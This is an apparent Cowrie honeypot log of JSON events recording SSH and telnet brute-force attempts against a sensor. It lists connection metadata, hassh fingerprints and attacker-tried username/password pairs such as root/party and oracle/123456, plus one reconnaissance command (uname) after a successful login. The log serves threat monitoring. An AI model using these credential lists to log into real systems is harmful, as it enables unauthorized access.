{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:10.001607Z","src_ip":"160.187.174.22","session":"54639133c2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:10.239795Z","src_ip":"160.187.174.22","session":"54639133c2ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:10.941751Z","src_ip":"160.187.174.22","session":"54639133c2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:12.175781Z","src_ip":"160.187.174.22","session":"54639133c2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":51922,"dst_ip":"159.203.135.109","dst_port":22,"session":"626eef44eb90","protocol":"ssh","message":"New connection: 185.242.3.195:51922 (159.203.135.109:22) [session: 626eef44eb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:21.556799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:21.559272Z","src_ip":"185.242.3.195","session":"626eef44eb90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:21.651215Z","src_ip":"185.242.3.195","session":"626eef44eb90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"party","message":"login attempt [root/party] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:21.925200Z","src_ip":"185.242.3.195","session":"626eef44eb90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:23.018770Z","src_ip":"185.242.3.195","session":"626eef44eb90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42900,"dst_ip":"159.203.135.109","dst_port":23,"session":"948bab741580","protocol":"telnet","message":"New connection: 170.64.224.25:42900 (159.203.135.109:23) [session: 948bab741580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:25.026772Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42910,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2eb71f30fe5","protocol":"telnet","message":"New connection: 170.64.224.25:42910 (159.203.135.109:23) [session: b2eb71f30fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:25.737977Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"6721569564cc","protocol":"ssh","message":"New connection: 160.187.174.22:52498 (159.203.135.109:22) [session: 6721569564cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:36.601212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:36.605004Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:36.902727Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:37.627440Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:38.151443Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:38.153931Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:38.398463Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:38.403692Z","src_ip":"160.187.174.22","session":"6721569564cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":52618,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d5a8ae45ab","protocol":"ssh","message":"New connection: 172.190.216.105:52618 (10.17.0.5:22) [session: 18d5a8ae45ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:55.607562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:56.120786Z","src_ip":"172.190.216.105","session":"18d5a8ae45ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:56.129893Z","src_ip":"172.190.216.105","session":"18d5a8ae45ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.17","src_port":49804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7395c7018a","protocol":"telnet","message":"New connection: 64.62.197.17:49804 (10.17.0.5:23) [session: ef7395c7018a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:57.563447Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucky777","message":"login attempt [root/lucky777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:59.400491Z","src_ip":"172.190.216.105","session":"18d5a8ae45ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0731496810913086,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:46:59.636470Z","src_ip":"64.62.197.17","session":"ef7395c7018a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"db25154defdd","protocol":"telnet","message":"New connection: 170.64.224.25:49856 (159.203.135.109:23) [session: db25154defdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:04.552557Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"badd344ff211","protocol":"ssh","message":"New connection: 160.187.174.22:35170 (159.203.135.109:22) [session: badd344ff211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:04.673165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:04.677411Z","src_ip":"160.187.174.22","session":"badd344ff211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:04.909060Z","src_ip":"160.187.174.22","session":"badd344ff211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:05.610456Z","src_ip":"160.187.174.22","session":"badd344ff211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.170355558395386,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:05.908208Z","src_ip":"170.64.224.25","session":"b2eb71f30fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:06.844102Z","src_ip":"160.187.174.22","session":"badd344ff211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.040998697280884,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:18.067641Z","src_ip":"170.64.224.25","session":"948bab741580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":51412,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c23029d990b","protocol":"ssh","message":"New connection: 162.215.213.210:51412 (159.203.135.109:22) [session: 5c23029d990b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:20.292903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:20.297138Z","src_ip":"162.215.213.210","session":"5c23029d990b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:20.381743Z","src_ip":"162.215.213.210","session":"5c23029d990b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"samourai123","message":"login attempt [samourai/samourai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:20.633789Z","src_ip":"162.215.213.210","session":"5c23029d990b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.2","message":"Connection lost after 25.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:20.817384Z","src_ip":"172.190.216.105","session":"18d5a8ae45ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.09916925430298,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:21.600530Z","src_ip":"170.64.224.25","session":"88d7d159b85e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:21.718602Z","src_ip":"162.215.213.210","session":"5c23029d990b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":60426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79bb7541b6d","protocol":"telnet","message":"New connection: 183.91.11.226:60426 (159.203.135.109:23) [session: b79bb7541b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:28.360734Z"}
{"eventid":"cowrie.session.closed","duration":29.54511332511902,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:34.097337Z","src_ip":"170.64.224.25","session":"db25154defdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42078,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f0fcda27ba","protocol":"ssh","message":"New connection: 160.187.174.22:42078 (159.203.135.109:22) [session: 29f0fcda27ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:34.286348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:34.295086Z","src_ip":"160.187.174.22","session":"29f0fcda27ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:34.536641Z","src_ip":"160.187.174.22","session":"29f0fcda27ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia123","message":"login attempt [nvidia/nvidia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:35.492522Z","src_ip":"160.187.174.22","session":"29f0fcda27ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:36.735910Z","src_ip":"160.187.174.22","session":"29f0fcda27ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":45664,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf873b67061","protocol":"ssh","message":"New connection: 154.16.115.34:45664 (159.203.135.109:22) [session: baf873b67061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:43.226964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:43.230823Z","src_ip":"154.16.115.34","session":"baf873b67061","protocol":"ssh"}
